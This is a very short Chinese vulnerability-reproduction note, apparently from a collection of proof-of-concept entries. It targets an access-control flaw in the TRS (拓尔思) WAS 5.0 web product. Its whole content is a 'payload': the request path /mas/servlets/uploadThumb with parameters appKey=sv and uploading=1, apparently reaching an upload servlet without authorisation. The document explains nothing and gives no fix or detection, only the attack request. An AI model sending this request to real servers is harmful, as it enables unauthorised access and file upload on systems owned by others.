T19-1拓尔思-TRSWAS5.0-PermissionAC

漏洞复现：

payload：

/mas/servlets/uploadThumb?appKey=sv&uploading=1